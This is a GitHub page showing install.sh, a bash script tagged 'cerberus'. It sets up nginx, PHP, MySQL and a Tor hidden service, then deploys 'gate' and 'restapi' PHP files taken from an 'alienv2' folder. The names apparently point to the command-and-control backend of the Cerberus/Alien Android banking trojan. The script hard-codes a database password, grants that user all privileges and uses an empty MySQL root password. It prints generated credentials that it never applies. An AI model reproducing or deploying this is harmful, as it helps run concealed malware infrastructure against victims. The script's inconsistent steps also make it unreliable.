-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathinstall.sh
131 lines (98 loc) · 3.16 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/bin/bash
# @cerberus
apicryptkey=$(openssl rand -hex 6)
sqlpassword=$(openssl rand -hex 32)
apt update
apt install systemd nginx tor php-fpm mysql-server php php-cli php-xml php-mysql php-curl php-mbstring php-zip unzip -y
apt purge apache2 -y
apt install openjdk-8-jdk
rm -rf /lib/systemd/system/tor.service
read -r -d '' TORCONFIG << EOM
[Unit]
Description=cerberus
[Service]
User=root
Group=root
RemainAfterExit=yes
ExecStart=/usr/bin/tor --RunAsDaemon 0
ExecReload=/bin/killall tor
KillSignal=SIGINT
TimeoutStartSec=300
TimeoutStopSec=60
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOM
echo "$TORCONFIG" > /lib/systemd/system/tor.service
rm -rf /usr/share/tor/tor-service-defaults-torrc
rm -rf /etc/tor/torrc
read -r -d '' ServiceCFG << EOM
HiddenServiceDir /var/lib/tor/cerberus
HiddenServicePort 80 127.0.0.1:8080
EOM
echo "$ServiceCFG" > /etc/tor/torrc
systemctl daemon-reload
systemctl restart tor
sleep 5
FPMVERSION=$(find /run/php/ -name 'php7.*-fpm.sock' | head -n 1)
RESTAPIHOSTNAME=$(cat /var/lib/tor/cerberus/hostname)
read -r -d '' DefaultNGINX << EOM
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/gate;
index index.php;
server_name _;
add_header Access-Control-Allow-Origin "*";
location ~ \.php\$ {
try_files \$uri =404;
include /etc/nginx/fastcgi.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
server {
listen 8080 default_server;
listen [::]:8080 default_server;
root /var/www/restapi;
index index.php;
server_name qinjgmcdujgass2xvpzbflg2brykuyw6sqd5kerttakz7anqtmsc22ad.onion;
add_header Access-Control-Allow-Origin "*";
location ~ \.php\$ {
try_files \$uri =404;
include /etc/nginx/fastcgi.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
EOM
echo "$DefaultNGINX" > /etc/nginx/sites-available/default
sed -i 's/keepalive_timeout/client_max_body_size 200M;\nkeepalive_timeout/g' /etc/nginx/nginx.conf
nginx -s reload
systemctl restart nginx
systemctl restart tor
sleep 5
mysql -uroot --password="" -e 'CREATE DATABASE `database`;'
mysql -uroot --password="" -e "CREATE USER 'user'@'localhost' IDENTIFIED BY 'T3VKLKUGo3KuKx5';"
mysql -uroot --password="" -e 'use `database`; source /home/alienv2/nope_1.sql;'
mysql -uroot --password="" -e "GRANT ALL PRIVILEGES ON *.* TO 'user'@'localhost';"
mysql -uroot --password="" -e "FLUSH PRIVILEGES;"
mkdir /var/www/
mkdir /var/www/gate
mkdir /var/www/restapi
#cd /home/
sed -i "s/\.\.key\.\./T3VKLKUGo3KuKx5/g" restapi.php
sed -i "s/\.\.passwd\.\./idksomething/g" restapi.php
cp /home/alienv2/restapi.php /var/www/restapi/index.php
cd /root/
sed -i "s/\.\.key\.\./T3VKLKUGo3KuKx5/g" gate.php
sed -i "s/\.\.passwd\.\./idksomething/g" gate.php
cp /home/alienv2/gate.php /var/www/gate/index.php
cp /home/alienv2/zbab /var/www/loner.cu
chown -R www-data:www-data /var/www
echo ""
echo "-------------------------------"
echo "Installation complete"
echo "domain: $RESTAPIHOSTNAME"
echo "sql user: user"
echo "sql password: $sqlpassword"
echo "api crypt key: $apicryptkey"
echo "please update user."